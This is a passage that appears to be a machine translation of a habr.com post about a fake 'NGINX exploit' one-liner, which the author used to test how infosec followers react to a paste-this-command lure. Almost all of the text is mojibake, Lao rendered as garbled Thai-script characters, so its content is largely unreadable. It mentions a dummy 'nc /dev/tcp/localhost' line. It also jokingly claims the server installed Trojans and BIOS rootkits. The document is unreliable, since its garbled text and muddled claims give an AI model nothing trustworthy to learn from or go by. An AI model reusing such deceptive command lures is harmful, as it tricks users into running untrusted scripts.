  • nc /dev/tcp/localhost - dummy เบ—เบตเปˆ netcat เบซเบกเบฒเบเป€เบ–เบดเบ‡ /dev/tcp/localhostเป€เบžเบทเปˆเบญเปƒเบซเป‰เบ—เบธเบเบชเบดเปˆเบ‡เบ—เบธเบเบขเปˆเบฒเบ‡เป€เบšเบดเปˆเบ‡เบ„เบทเบงเปˆเบฒเบ›เบญเบ”เป„เบžเบญเบตเบเป€เบ—เบทเปˆเบญเบซเบ™เบถเปˆเบ‡. เปƒเบ™เบ„เบงเบฒเบกเป€เบ›เบฑเบ™เบˆเบดเบ‡, เบกเบฑเบ™เบšเปเปˆเป€เบฎเบฑเบ”เบซเบเบฑเบ‡เปเบฅเบฐเบ–เบทเบเบฅเบงเบกเบขเบนเปˆเปƒเบ™เป€เบชเบฑเป‰เบ™เบชเปเบฒเบฅเบฑเบšเบ„เบงเบฒเบกเบ‡เบฒเบก.

เบ™เบตเป‰เบชเบฐเบซเบผเบธเบšเบเบฒเบ™เบ–เบญเบ”เบฅเบฐเบซเบฑเบ”เบ‚เบญเบ‡ script เปเบ–เบงเบ”เบฝเบงเปเบฅเบฐเบเบฒเบ™เบชเบปเบ™เบ—เบฐเบ™เบฒเบเปˆเบฝเบงเบเบฑเบšเบฅเบฑเบเบชเบฐเบ™เบฐเบ‚เบญเบ‡ "เบงเบดเบชเบฐเบงเบฐเบเปเบฒเบชเบฑเบ‡เบ„เบปเบก - เป€เบญเป€เบฅเบฑเบเป‚เบ•เบฃเบ™เบดเบ" ( phishing intricate).

เบเบฒเบ™เบ•เบฑเป‰เบ‡เบ„เปˆเบฒเป€เบงเบฑเบšเป€เบŠเบตเบšเป€เบงเบต เปเบฅเบฐเบกเบฒเบ”เบ•เบฐเบเบฒเบ™เบ•เป‰เบฒเบ™

เป€เบ™เบทเปˆเบญเบ‡เบˆเบฒเบเบงเปˆเบฒเบชเปˆเบงเบ™เปƒเบซเบเปˆเบ‚เบญเบ‡เบœเบนเป‰เบˆเบญเบ‡เบ‚เบญเบ‡เบ‚เป‰เบญเบเปเบกเปˆเบ™ infosec / เปเบฎเบเป€เบเบต, เบ‚เป‰เบญเบเบ•เบฑเบ”เบชเบดเบ™เปƒเบˆเป€เบฎเบฑเบ”เปƒเบซเป‰เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเป€เบงเบฑเบšเบ—เบปเบ™เบ—เบฒเบ™เบ•เปเปˆเบเบฒเบ™เบชเบฐเปเบ”เบ‡เบญเบญเบเบ‚เบญเบ‡ "เบ„เบงเบฒเบกเบชเบปเบ™เปƒเบˆ" เปƒเบ™เบชเปˆเบงเบ™เบ‚เบญเบ‡เบžเบงเบเป€เบ‚เบปเบฒ, เบžเบฝเบ‡เปเบ•เปˆเบงเปˆเบฒเบœเบนเป‰เบŠเบฒเบเบˆเบฐเบกเบตเบšเบฒเบ‡เบชเบดเปˆเบ‡เบšเบฒเบ‡เบขเปˆเบฒเบ‡เบ—เบตเปˆเบ•เป‰เบญเบ‡เป€เบฎเบฑเบ” (เปเบฅเบฐเบกเบฑเบ™เบˆเบฐเบกเปˆเบงเบ™เบเบฑเบš. เบ•เบฑเป‰เบ‡โ€‹เบ„เปˆเบฒ). เบ‚เป‰เบฒเบžเบฐเป€เบˆเบปเป‰เบฒเบˆเบฐเบšเปเปˆเป„เบ”เป‰เบšเบญเบเป€เบ–เบดเบ‡เบšเบฑเบ™เบซเบฒเบ—เบฑเบ‡เปเบปเบ”เบขเบนเปˆเบ—เบตเปˆเบ™เบตเป‰ เป€เบ™เบทเปˆเบญเบ‡เบˆเบฒเบเบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡เบเบฑเบ‡เบ”เบณเป€เบ™เบตเบ™เบขเบนเปˆ, เปเบ•เปˆเบ™เบตเป‰เปเบกเปˆเบ™เบšเบฒเบ‡เบญเบฑเบ™เบ—เบตเปˆเป€เบŠเบตเบšเป€เบงเบตเป€เบฎเบฑเบ”:

  • เบ•เบดเบ”เบ•เบฒเบกเบเบงเบ”เบเบฒเบขเปˆเบฒเบ‡เบซเป‰เบฒเบงเบซเบฑเบ™เปƒเบ™เบ„เบงเบฒเบกเบžเบฐเบเบฒเบเบฒเบกเปเบˆเบเบขเบฒเบเบขเบนเปˆเปƒเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเบชเบฑเบ‡เบ„เบปเบกเบšเบฒเบ‡เบขเปˆเบฒเบ‡เปเบฅเบฐเบ›เปˆเบฝเบ™เบฎเบนเบšเบ•เบปเบงเบขเปˆเบฒเบ‡เบ•เบปเบงเบขเปˆเบฒเบ‡เบ•เปˆเบฒเบ‡เป†เป€เบžเบทเปˆเบญเบŠเบธเบเบเบนเป‰เปƒเบซเป‰เบœเบนเป‰เปƒเบŠเป‰เบ„เบฅเบดเบเปƒเบชเปˆเบเบฒเบ™เป€เบŠเบทเปˆเบญเบกเบ•เปเปˆ.
  • เบ›เปˆเบฝเบ™เป€เบชเบฑเป‰เบ™เบ—เบฒเบ‡ Chrome/Mozilla/Safari/etc เป„เบ›เบซเบฒเบงเบดเบ”เบตเป‚เบญเป‚เบ„เบชเบฐเบ™เบฒ Thugcrowd เปเบ—เบ™เบเบฒเบ™เบชเบฐเปเบ”เบ‡ shell script.
  • เบชเบฑเบ‡เป€เบเบ”เป€เบšเบดเปˆเบ‡เบญเบฒเบเบฒเบ™เบ—เบตเปˆเบŠเบฑเบ”เป€เบˆเบ™เบ‚เบญเบ‡เบเบฒเบ™เบšเบธเบเบฅเบธเบ / เบเบฒเบ™เปเบฎเบฑเบเบ—เบตเปˆเบ‚เบตเป‰เบ•เบปเบงเบฐ, เปเบฅเบฐเบซเบผเบฑเบ‡เบˆเบฒเบเบ™เบฑเป‰เบ™เป€เบฅเบตเปˆเบกเบ•เบปเป‰เบ™เบเบฒเบ™เบ›เปˆเบฝเบ™เป€เบชเบฑเป‰เบ™เบ—เบฒเบ‡เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเป„เบ›เบซเบฒเป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเบ‚เบญเบ‡ NSA (ha!).
  • เบ•เบดเบ”เบ•เบฑเป‰เบ‡ Trojan, เป€เบŠเบฑเปˆเบ™เบ”เบฝเบงเบเบฑเบ™เบเบฑเบš BIOS rootkit, เปƒเบ™เบ„เบญเบกเบžเบดเบงเป€เบ•เบตเบ—เบฑเบ‡เบซเบกเบปเบ”เบ—เบตเปˆเบœเบนเป‰เปƒเบŠเป‰เป„เบ›เบขเป‰เบฝเบกเบขเบฒเบกเป€เบˆเบปเป‰เบฒเบžเบฒเบšเบˆเบฒเบเบ•เบปเบงเบ—เปˆเบญเบ‡เป€เบงเบฑเบšเบ›เบปเบเบเบฐเบ•เบด (เบžเบฝเบ‡เปเบ•เปˆ kidding!).

เบ„เบงเบฒเบกเบชเบณเป€เบฅเบฑเบ”เบ‚เบญเบ‡เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡เบ—เบฒเบ‡เบ”เป‰เบฒเบ™เบชเบฑเบ‡เบ„เบปเบกเบ”เป‰เบงเบเบเบฒเบ™เบ‚เบนเบ”เบฎเบตเบ” nginx เบ›เบญเบก
เบชเปˆเบงเบ™เบ™เป‰เบญเบเป†เบ‚เบญเบ‡ antimers

เปƒเบ™เบเปเบฅเบฐเบ™เบตเบ™เบตเป‰, เป€เบ›เบปเป‰เบฒเบซเบกเบฒเบเบ”เบฝเบงเบ‚เบญเบ‡เบ‚เป‰เบญเบเปเบกเปˆเบ™เป€เบžเบทเปˆเบญเบŠเปเบฒเบ™เบดเบŠเปเบฒเบ™เบฒเบ™เบšเบฒเบ‡เบฅเบฑเบเบชเบฐเบ™เบฐเบ‚เบญเบ‡ Apache - เป‚เบ”เบเบชเบฐเป€เบžเบฒเบฐ, เบเบปเบ”เบฅเบฐเบšเบฝเบšเป€เบขเบฑเบ™เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบ›เปˆเบฝเบ™เป€เบชเบฑเป‰เบ™เบ—เบฒเบ‡เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เป - เปเบฅเบฐเบ‚เป‰เบญเบเบ„เบดเบ”เบงเปˆเบฒ: เป€เบ›เบฑเบ™เบซเบเบฑเบ‡เบšเปเปˆ?

NGINX Exploit (เบˆเบดเบ‡!)

เบชเบฐ เปเบฑเบ เบชเบฐเบกเบฒเบŠเบดเบ @alisaesage เปƒเบ™ Twitter เปเบฅเบฐเบ›เบฐเบ•เบดเบšเบฑเบ”เบ•เบฒเบกเบงเบฝเบเบ‡เบฒเบ™เบ—เบตเปˆเบเบดเปˆเบ‡เปƒเบซเบเปˆเบ‚เบญเบ‡ ZDI เปƒเบ™เบเบฒเบ™เปเบเป‰เป„เบ‚เบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเบ—เบตเปˆเปเบ—เป‰เบˆเบดเบ‡เบซเบผเบฒเบเปเบฅเบฐเป‚เบญเบเบฒเบ”เบเบฒเบ™เบ‚เบธเบ”เบ„เบปเป‰เบ™เปƒเบ™ NGINX. เบงเบฝเบเบ‡เบฒเบ™เบ‚เบญเบ‡เป€เบ‚เบปเบฒเป€เบˆเบปเป‰เบฒเป„เบ”เป‰ fascinated เบ‚เป‰เบฒเบžเบฐเป€เบˆเบปเป‰เบฒเบชเบฐเป€เบซเบกเบตเปเบฅเบฐเบ‚เป‰เบฒเบžเบฐเป€เบˆเบปเป‰เบฒ grateful Alice เบชเปเบฒเบฅเบฑเบšเบ„เบงเบฒเบกเบญเบปเบ”เบ—เบปเบ™เบ‚เบญเบ‡เบ™เบฒเบ‡เบเบฑเบšเบเบฒเบ™เบเปˆเบฒเบงเป€เบ–เบดเบ‡เบ—เบฑเบ‡เบซเบกเบปเบ”เปเบฅเบฐเปเบˆเป‰เบ‡เบเบฒเบ™ tweet stupid เบ‚เบญเบ‡เบ‚เป‰เบฒเบžเบฐเป€เบˆเบปเป‰เบฒเป€เบเบตเบ”. เป‚เบŠเบเบ”เบต, เบกเบฑเบ™เบเบฑเบ‡เป€เบฎเบฑเบ”เป„เบ”เป‰เบ”เบต: เบกเบฑเบ™เบŠเปˆเบงเบเบเบปเบเบชเบนเบ‡เบ„เบงเบฒเบกเบฎเบนเป‰เบเปˆเบฝเบงเบเบฑเบšเบ„เบงเบฒเบกเบญเปˆเบญเบ™เปเบญเบ‚เบญเบ‡ NGINX, เป€เบŠเบฑเปˆเบ™เบ”เบฝเบงเบเบฑเบ™เบเบฑเบšเบšเบฑเบ™เบซเบฒเบ—เบตเปˆเป€เบเบตเบ”เบˆเบฒเบเบเบฒเบ™เบฅเปˆเบงเบ‡เบฅเบฐเป€เบกเบตเบ”เบ‚เบญเบ‡ curl.

เปเบซเบผเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™: www.habr.com

เป€เบžเบตเปˆเบกเบ„เบงเบฒเบกเบ„เบดเบ”เป€เบซเบฑเบ™